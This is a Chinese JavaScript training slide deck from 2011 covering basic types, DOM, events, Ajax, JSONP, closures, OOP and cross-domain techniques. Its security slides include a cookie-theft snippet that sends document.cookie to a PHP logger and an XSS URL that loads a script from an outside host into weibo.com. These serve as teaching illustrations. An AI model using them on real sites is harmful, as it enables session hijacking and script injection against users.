Javascript入门到高阶

JavaScript入门到高阶
王永清
清-三水清

2011-8-18
大纲
初级
高级
其他
中级
基本语法
常见对象方法
常见对象
Cookie
DOM
Events
Ajax
作用域
this关键字
OOP
跨域
安全
调试工具
JSLint
发展趋势
学习资料

2011-8-18
第一部分：初级javascript

2011-8-18
初级：变量类型
变量类型
基础类型
六种：undefined、string、number、boolean、object和function
typeof
对象类型
以基础类型为基础，从object这一种类型中发展起来的
instanceof
function是object

2011-8-18
初级：关于类型的一些小题目
null == undefined;
null===undefined;
typeof null;
typeof undefined;
vara;alert(a);
var a; a=1; alert(typeof a);
1=='1';
1==true;
1==='1';
a={}; alert(typeof a);

初级：关于类型的一些小题目[答案]
2011-8-18
null == undefined;//true
null===undefined;//false
typeof null;//object
typeof undefined;//undefined
vara;alert(a);//undefined
var a; a=1; alert(typeof a);//number
1=='1';//true
1==true;//true
1==='1';//false
a={}; alert(typeof a);//object

2011-8-18
初级：常见对象方法
"string"
[1,2,3][]
new Date(12345678901)
Math.PI
/^s|s$/img
String
Array
Date
Math
RegExp

2011-8-18
第二部分：中级javascript

2011-8-18
中级
对象
location，navigator，screen……
Cookie
DOM
Events
Ajax

2011-8-18
中级：navigator
alert(navigator.userAgent)
"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0"
var isFF =/firefox/.test(navigator.userAgent.toLowerCase());

2011-8-18
中级：location
replace()
设置当前文档的URL，并在history对象的地址列表中删除这个URL
reload()
重新载入当前文档(从server服务器端)

中级：document.cookie
Javascript对cookie操作是通过document.cookie进行的
2011-8-18
document.cookie="name=value; expires=date; path=path; domain=domain; secure";
//例如：
document.cookie=‘cookie0=testcookie; expires=Wed, 3 Aug 2011 18:47:11 UTC; domain=weibo.com; path=/’;

中级：document.cookie
cookie安全
2011-8-18
varhackImg=new Image();
hackImg.src =getcookie.php?cookie=”+encodeURI(document.cookie);
<?php
$cookie=urldecode($_GET['cookie']);
file_put_contents('cookie.txt',$cookie);

2011-8-18
中级：DOM
DOM
节点介绍
节点
类型
遍历节点
创建节点
节点访问和修改

2011-8-18
中级：DOM

2011-8-18
中级：DOM-document

2011-8-18
中级：DOM-节点查找

2011-8-18
中级：DOM-节点遍历

2011-8-18
中级：DOM-节点关系图

2011-8-18
中级：DOM-创建节点

2011-8-18
中级：DOM-节点访问、修改

2011-8-18
中级：DOM-节点属性
<ulid="parentDOM">
<liid="id1">I am No.1</li>
</ul>

中级：DOM-节点属性
2011-8-18
<ulid="parentDOM">
</ul>
vardom=document.getElementById('parentDOM');
var children =dom.childNodes;
for(vari=0,len =children.length;i<len;i++){
var type ="type="+ children[i].nodeType+";";
var name ="name="+ children[i].nodeName+";";
var id ="id="+ children[i].id +";";
vartagName="tagName="+ children[i].tagName+";";
log(type+name+id+tagName);
}

中级：Events-类型
Document
load, unload, resize, scroll
Mouse
mouseover, mouseout, mouseup, mousedown, click
Key
keydown, keyup, keypress
Forms
focus, blur, change, keydown, keyup, keypress
2011-8-18
课后题：Keydown、keyup、keypress区别和用法

中级：Events-事件模型
2011-8-18

2011-8-18
中级：Events-事件监听

2011-8-18
中级：Events-阻止冒泡
if($.IE){
e.cancelBubble=true;
}else{
e.stopPropagation();
}

2011-8-18
中级：Events-阻止默认事件
if($.IE){
e.returnValue=false;
}else{
e.preventDefault();
}

中级：Events-获取event/this
获取event对象：http://www.js8.in/703.html
2011-8-18
<buttononclick="fn(event)">点我啊</button>
<scripttype="text/javascript">
function fn(e){
e = e ||window.event;
alert(e.type);
}
</script>
在IE中，event是一个全局变量，即window.event，而在Firefox等，event会默认的作为第一个参数传入fn中

中级：Events-事件代理(委托)
2011-8-18
<ulid="parentDOM">
</ul>
不用事件代理
var doc = document;
for(vari=1;i<=5;i++){
vardom=doc.getElementById('id'+i);
dom.onclick=function(){
alert(this.innerHTML);
}
}
使用事件代理
vardom=document.getElementById('parentDOM');
dom.onclick=function(){
var e = arguments[0]||window.event;
var target =e.target||e.srcElement;
alert(target.innerHTML);
}

2011-8-18
中级：Ajax
Ajax
xmlHttpRequest对象
发送
Get
Post
接收
数据类型
JSON
JSONP

2011-8-18
中级：Ajax
Ajax
“Asynchronous JavaScript and XML”（异步的JavaScript与XML技术），是一种广泛应用在浏览器的网页开发技术。Ajax是多项技术的综合应用，Ajax概念由 Jesse James Garrett 所提出
XMLHttpRequest对象

中级：Ajax
创建XMLHttpRequest对象
2011-8-18
functiongetXHR(){
if(window.XMLHttpRequest){
//w3c
returnnewXMLHttpRequest();
}else{
//IE6-
returnnewActiveXObject('Microsoft.XMLHTTP');
}
}
var xhr = getXHR();
Ajax实例：http://www.w3school.com.cn/example/ajax_examples.asp
司徒正美《高效地获取XMLhttp对象》http://www.cnblogs.com/rubylouvre/archive/2010/01/06/1640148.html

中级： Ajax发送请求
GET
2011-8-18
xhr.open("GET","http://www.example.com/resource",false);
var response =xhr.send(null);
POST
xhr.open("POST","http://www.example.com/resource",false);
var response =xhr.send("key=value&name=Theo");

设置请求头
xhr.setRequestHeader(header,value);
xhr.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);

Ajax响应处理
2011-8-18
获得来自服务器的响应，使用 XMLHttpRequest 对象的 responseText 或 responseXML 属性。
xhr.open("POST","http://www.example.com/resource",false);
var response =xhr.send("key=value&name=Theo");
alert(response.responseText);
alert(response.responseXml);

onreadystatechange 事件
2011-8-18
监听ajax请求状态
xhr.onreadystatechange=function(){
if(xhr.readyState==4&& xhr.status==200){
alert(xhr.responseText);
}
}
0: 请求未初始化
1: 服务器连接已建立
2: 请求已接收
3: 请求处理中
4: 请求已完成，且响应已就绪
课后题：http请求状态码

中级：JSON & JSONP
JSON
JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。
http://www.json.org
2011-8-18
{
　"name":"张三",
　"password":"123456",
　"department":"技术部",
　"sex":"男",
　"old":30
}

XML vs JSON
2011-8-18
<?xmlversion="1.0"encoding="utf-8"?>
<user>
<name>张三 </name>
<password>123456</password>
<department>技术部</department>
<sex>男</sex>
<old>30</old>
</user>
{
　"name":"张三",
　"password":"123456",
　"department":"技术部",
　"sex":"男",
　"old":30
}

JSON应用：微博用户提示
2011-8-18

JSON发明者：牛鼻子老道
Douglas Crockford是JavaScript开发社区最知名的权威，是JSON、JSLint、JSMin和ADSafe之父。JavaScript的发明人Brendan Eich说他是“lambda编程和JavaScript的精神领袖”。
Yahoo的资深JavaScript架构师
YUI团队
http://www.crockford.com/
http://profiles.yahoo.com/blog/GSBHPXZFNRM2QRAP3PXNGFMFVU
2011-8-18

中级：JSON编码
在json的官方网站提供了各种语言的编码和解码json的函数，例如php中的json_encode/json_decode
JSON.parse
JSON.stringify
2011-8-18

JSONP
JSONP
JSONP是一个非官方的协议，它允许在服务器端集成Script tags返回至客户端，通过javascript callback的形式实现跨域访问
云输入法，搜索提示
2011-8-18

JSONP应用：云输入法
2011-8-18

2011-8-18
var JSONP = document.createElement("script");
//FF:onload IE:onreadystatechange
JSONP.onload = JSONP.onreadystatechange =function(){
//onreadystatechange，仅IE
}
JSONP.type ="text/javascript";
JSONP.src ="/fcgi-bin/getword?cb=window.QQWebIME.callback971&q=weibo";
//在head之后添加js文件
document.getElementsByTagName(“head”)[0].appendChild(JSONP);
思考题：为什么不用json？

2011-8-18
第三部分：高级javascript

高级：作用域
2011-8-18
vari=10;
function fn(){
vari=20;
var a =3;
alert(i);//20
}
fn();
alert(i);
alert(a);
function fn(){
vari=20;
var a =3;
alert(i);
}
//20
//10
//error undefined
fn的执行环境是window，fn的定义环境是function中。
根据词法作用域，fn的作用域应该是在定义它的function中，而不是在其执行的环境相同的vari=10;(window)中

高级：作用域
2011-8-18
vara = 1;
function fn1(){
var a =9;
function fn2(){
alert(a);
}
}
fn1();
2011-8-18
function fn1(){
var a =9;
function fn2(){
alert(a);
}
}
function fn2(){
alert(a);
}
fn2();

高级：作用域链
vara = 1;
function fn1(){
var a =9;
function fn2(){
alert(a);
}
}
fn1();
Fn2 Activation Obj
Fn1 Activation Obj
GlobalObj(window)
this
window
arguments
[]
fn2
function
this
window
arguments
[]
fn1
function
a
9
this
window
arguments
[]
fn1
function
a
1
作用域链
0
1
2
2011-8-18
function fn1(){
var a =9;
function fn2(){
alert(a);
}
}
function fn2(){
alert(a);
}
fn2();
fn2
execution context
Scope chain

高级：作用域
在function中未使用var声明的变量为全局变量
全局变量为window对象下的属性
2011-8-18
vari=10;
function fn(){
i=20;
alert(window.i);
}
fn();
alert(i);
for(vari=0;i<10;i++){
//do something
}
alert(i);
alert(window.i);

//20
//10
//10
//20
function fn(){
i=10;
vari=20;
alert(i);
alert(window.i);
}
//20
//undefined

高级：匿名函数
2011-8-18
1.写法一
(function(){
//do something
})();
2.写法二
(function(){
//do something
}());
3.写法三
voidfunction(){
//do something
}();
4.写法四
!function(){
//do something
}();

高级：匿名函数
传参数
(function(win,doc){
varobj={};
obj.$ =function(id){
returndoc.getElementById(id);
}
win.obj =obj;
})(window,document);

递归
(function(n){
if(n <=0){
return1;
}else{
return n *arguments.callee(n-1);
}
})(4);
2011-8-18

高级：this关键字
2011-8-18
在Javascript中,this关键字永远都指向函数(方法)的所有者
vari=10;
function fn(){
this.i=20;
alert(this.i);
}
fn();
alert(window.i);
vari=10;
function fn(){
this.i=20;
alert(this.i);
}
varmyFn=new fn();
alert(window.i);
//20
//20
//20
//10
<inputvalue=“10”onclick=“alert(this.value);”/>

高级：this关键字
this是可以指代的！
Function对象有两个方法：call()和apply()。这两个方法都支持指定一个函数中的this。
2011-8-18
vari=10;
function fn(){
alert(this.i);
}
fn.call(window);
varobj={'i':1};
function fn(){
alert(this.i);
}
fn.apply(obj);

//10
//1
Call和apply第二个参数不同，二者可以用下面关系来表示
fn.call(obj, arg1,arg2,arg3……)==fn.apply(obj, [arg1……])== obj.foo(arg1, arg2, arg3……)

高级：this or that
2011-8-18
varmyObject={};
myObject.method=function(){
this.WhoAmI="I'm A";
function test(){
this.WhoAmI=“I’m B";
}
test();
returnthis.WhoAmI;
};
myObject.method();
window.WhoAmI;

myObject.method();//I'm A
window.WhoAmI;//I'm B

高级：this or that
2011-8-18
varmyObject={};
myObject.method=function(){
this.WhoAmI="I'm A";
var that =this;
function test(){
that.WhoAmI="I'm B";
}
test();
returnthis.WhoAmI;
};
myObject.method()// I'm B
←这里赋值给that变量

2011-8-18
高级：命名空间
javascript的语言限制，并没有象C++，JAVA一样强大的命名空间。但在软件开发后期，命名空间又是必不可少的，它可以解决几乎所有的命名冲突问题
Javascript也可以通过代码技巧实现命名空间

高级：STK命名空间
2011-8-18
Namespace=new Object();
Namespace.register=function(namespace){
varnsArray=namespace.split('.');
varsEval="";
varsNS="";
for(vari=0;i<nsArray.length;i++){
if(i!=0)sNS+=".";
sNS+=nsArray[i];
sEval+="if(typeof("+sNS+")=='undefined')"+sNS+"=new Object();"
}
if(sEval!="")eval(sEval);
}

2011-8-18
Namespace(‘a.b.c);
var a ={
b:{
c
}
}

2011-8-18
高级：闭包
function fn1(){
var a =9;
function fn2(){
alert(a);//error
function fn1(){
var a =9;
}
怎么访问函数内部的变量呢？改成全局变量？no！全局变量是魔鬼！
闭包
function fn1(){
var a =9;
function fn2(){
alert(a);
}
return fn2;
}
var fn = fn1();
fn();

高级：闭包
由于作用域链关系，闭包中的变量始终存在内存中，得不到释放
既是优点
也是缺点
应用
setTimeout/setInterval
Callback
Event handle
2011-8-18

2011-8-18
闭包应用
function fn(){
var nodes =document.getElementsByTagName('a');
for(vari=0, l =nodes.length;i< l;i++){
nodes[i].onclick=function(){
alert(i);
returnfalse;
}
}
}
fn();
nodes[i].onclick=function(){
alert(i);
returnfalse;
}
closure
http://jsfiddle.net/GRp72/

2011-8-18
闭包应用
function fn(){
var nodes =document.getElementsByTagName('a');
for(vari=0, l =nodes.length;i< l;i++){
nodes[i].onclick=(function(j){
returnfunction(){
alert(j);
returnfalse;
}
})(i);
}
}
fn();
returnfunction(){
alert(j);
returnfalse;
}
closure
http://jsfiddle.net/qBUBy/1/

2011-8-18
高级：OOP
面向对象OOP
new
prototype
继承写法

2011-8-18
高级：OOP
javascript中没有真正意义上的类
类Animal:
var Animal =function(name,legs){
this.name = name;
this.legs= legs;
};
var cat =new Animal('hello kitty',4);

运用javascript的new关键字创建一个Animal的实例

高级：OOP
prototype关键字
2011-8-18
var Fn =function(){
this.xxx =[];
};
Fn.prototype.yyy=[];
var a =new Fn();
var b =new Fn();
a.xxx.push(1);
a.yyy.push(1);
alert([a.xxx.length,b.xxx.length]);
alert([a.yyy.length,b.yyy.length]);
//1,0
//1,1

this or prototype
2011-8-18
this.name = name;
this.legs= legs;
this.sayName=function(){
alert('my name is '+this.name);
};
};
这段代码你有什么更好的写法？

优化
2011-8-18
this.name = name;
this.legs= legs;
};
Animal.prototype={
sayName:function(){
}
}
OR
this.name = name;
this.legs= legs;
};
Animal.prototype.sayName=function(){
};

高级：原型链
对象通过一个内部属性绑定到它的原型，在firefox，chrome，safari中，这个属性__proto__对开发中可见，而在其他的浏览器却不允许脚本访问此属性。
this.name = name;
this.legs= legs;
};
Animal.prototype.sayName=function(){
};
var cat =new Animal('hello kitty',4);
var bird =new Animal('polly',2);
cat
bird
Animal.prototype
Animal
Object
__proto__
__proto__
__proto__
prototype
__proto__
null
name
hello kitty
name
polly
constructor
toString
(function)
legs
4
legs
2
sayName
(function)
valueOf
(function)
……
……
2011-8-18

高级：OOP
2011-8-18
父类Animal
var Animal =function(){
this.fly =function(){
if(this.wing){
alert(this.name +' can fly!');
}
}
};
Cat、Bird子类：
var Cat =function(name,legs){
this.name = name;
this.legs= legs;
this.wing=false;
};
var Bird =function(name,legs){
this.name = name;
this.legs= legs;
this.wing=true;
};

高级：OOP
2011-8-18
Cat和Bird都是Animal的子类，即：Cat和Bird要继承自Animal
方法一：apply
var Cat =function(name,legs){
Animal.apply(this);
this.name = name;
this.legs= legs;
this.wing=false;
};
var Bird =function(name,legs){
Animal.apply(this);
this.name = name;
this.legs= legs;
this.wing=true;
};
var cat =new Cat('hello kitty',4);
cat.name;//hello kitty
var bird =new Bird('polly',2);
bird.fly();//polly can fly!

高级：OOP
2011-8-18
方法二：prototype + new
Cat.prototype=new Animal();
Cat.prototype.constructor= Cat;
Bird.prototype=new Animal();
Bird.prototype.constructor= Bird;

高级：OOP
2011-8-18
方法三：直接使用prototype
//父类使用prototype写法
var Animal =function(){};
Animal.prototype.fly=function(){
if(this.wing){
alert(this.name +' can fly!');
}
}
//封装的继承函数extend
function extend(Child, Parent){
var F =function(){};
F.prototype=Parent.prototype;
Child.prototype=new F();
Child.prototype.constructor= Child;
}
extend(Cat,Animal);
extend(Bird,Animal);

高级：OOP
方法四：object对象拷贝
functionextendCopy(Child, Parent){
var p =Parent.prototype;
var c =Child.prototype;
for(variin p){
c[i]= p[i];
}
}
extendCopy(Cat,Animal);
extendCopy(Bird,Animal);
2011-8-18

2011-8-18
高级：跨域
构成不同域名的情况
host不同：不同的主域名，子域名
协议不同：http和https
端口不同：80端口和8080端口

2011-8-18
高级：跨域
document.domain
跨子域名
jsonp
不支持post
FIM（Fragment Identifier Messaging）
通过url传值，长度受限制
flash
需要部署flash文件及crossdomain.xml
window.name
需要iframe配合
postMessages(html5)
不支持IE6-7
服务器代理
curl等抓取方式，效率比直接跨域请求效率要低

微博JSSDK跨域方式
2011-8-18
postMessage
在HTML5中新增了postMessage方法，postMessage可以实现跨文档消息传输（Cross Document Messaging），IE8, IE9, Firefox 3, Opera 9, Chrome 3和 Safari 4都支持postMessage。
window.name
window对象的name属性是一个很特别的属性，当该window的location变化，然后重新加载，它的name属性可以依然保持不变。我们可以根据这种特性来实现跨域请求。

2011-8-18

2011-8-18
高级：安全
XSS
XSS Cheat Sheet:http://ha.ckers.org/xss.html
有输入的地方就有XSS
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

高级：安全
CSRF（Cross Site Request Forgery）是伪造客户端请求的一种攻击，字面上的意思是跨站点伪造请求。
防范措施：
正确使用GET、POST和Cookie
使用Referer判断请求来源
在请求中使用Security token
2011-8-18

2011-8-18
第四部分：其他

2011-8-18
其他
编辑器：Apanta、notePad++……
调试工具
Firefox：firebug
IE：debugBar， Companion.js
Chrome：开发者工具
JSLint
未来趋势
HTML5
nodeJS
学习资料
网站&Rss
书籍
前端会议

2011-8-18

其他：JSLint
JSLint是 Douglas Crockford创建的js代码质量检测工具。虽然 JSLint不能保证代码逻辑一定正确，但却有助于发现错误并教会开发人员一些好的编码实践。
2011-8-18
Jslint.com

2011-8-18
Javascript发展趋势
HTML5
未来的(x)html和DOM标准，仍然处于完善阶段，不过市面上的浏览器已经开始支持html5
语义化标记
图像处理
媒体支持
改善用户界面
网络存储
网络通信
移动设备支持
增强可访问性
node.js
服务器端js
单线程
非阻塞IO
Google V8
事件驱动

2011-8-18
Javascript书籍

2011-8-18
网站&Rss资源
http://www.w3school.com.cn/js/index.asp
http://www.javascriptkit.com
国内知名UED团队博客
ITFeed.cn
http://ajaxian.com
http://net.tutsplus.com
http://cssglobe.com

前端会议
2011-8-18

打完收工
2011-8-18
Q & A

2011-8-18
中级：DOM学习资料
http://www.howtocreate.co.uk/tutorials/javascript/domstructure
https://developer.mozilla.org/en/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces

中级：Events-事件代理(委托)
2011-8-18
jQuery和YUI中使用事件代理
Event delegation with jQuery: http://danwebb.net/2008/2/8/event-delegation-made-easy-in-jquery
Event delegation with YUI: http://icant.co.uk/sandbox/eventdelegation/

中级：Events-资料
事件对象：http://www.w3school.com.cn/htmldom/dom_obj_event.asp
js事件详解：http://www.nowamagic.net/javascript/js_EventMechanismInDetail.php
Event compatibility tables：http://quirksmode.org/dom/events/
2011-8-18

高级：闭包
http://blog.morrisjohns.com/javascript_closures_for_dummies.html
https://developer.mozilla.org/en/JavaScript/Guide/Closures
http://www.cn-cuckoo.com/2007/08/01/understand-javascript-closures-72.html
http://www.ruanyifeng.com/blog/2009/08/learning_javascript_closures.html
2011-8-18

高级：OOP资料
Douglas Crockford - Prototypal Inheritance in JavaScript
Douglas Crockford - Classical Inheritance in JavaScript
John Resig - Simple JavaScript Inheritance
Dean Edwards - A Base Class for JavaScript Inheritance
Javascript继承写法：http://www.js8.in/698.html
2011-8-18

跨域的资料
2011-8-18
postMessage
http://dev.w3.org/html5/postmsg/#dom-window-postmessage
跨域资源共享的10种方式
http://ued.koubei.com/?p=1291
CrossDomain
http://code.google.com/p/j-et/wiki/CrossDomain
跨域实例
https://github.com/colorhook/crossdomain

http://www.js8.in	619
http://www.xh-css.cn	434
http://js8.in	334
http://www.xinasp.com	104
http://www.itfeed.cn	17
http://www.qesy.info	17
http://www.lanshayu.com	12
http://feeds.feedburner.com	11
http://www.chengxuyuans.com	10
http://xianguo.com	4
http://cache.baidu.com	1
http://feed.feedsky.com	1
http://www.slideshare.net	1

Javascript入门到高阶

by ksky521 on Aug 18, 2011

Accessibility

Categories

Tags

Upload Details

Usage Rights

13 Embeds 1,565

Statistics

Javascript入门到高阶 — Presentation Transcript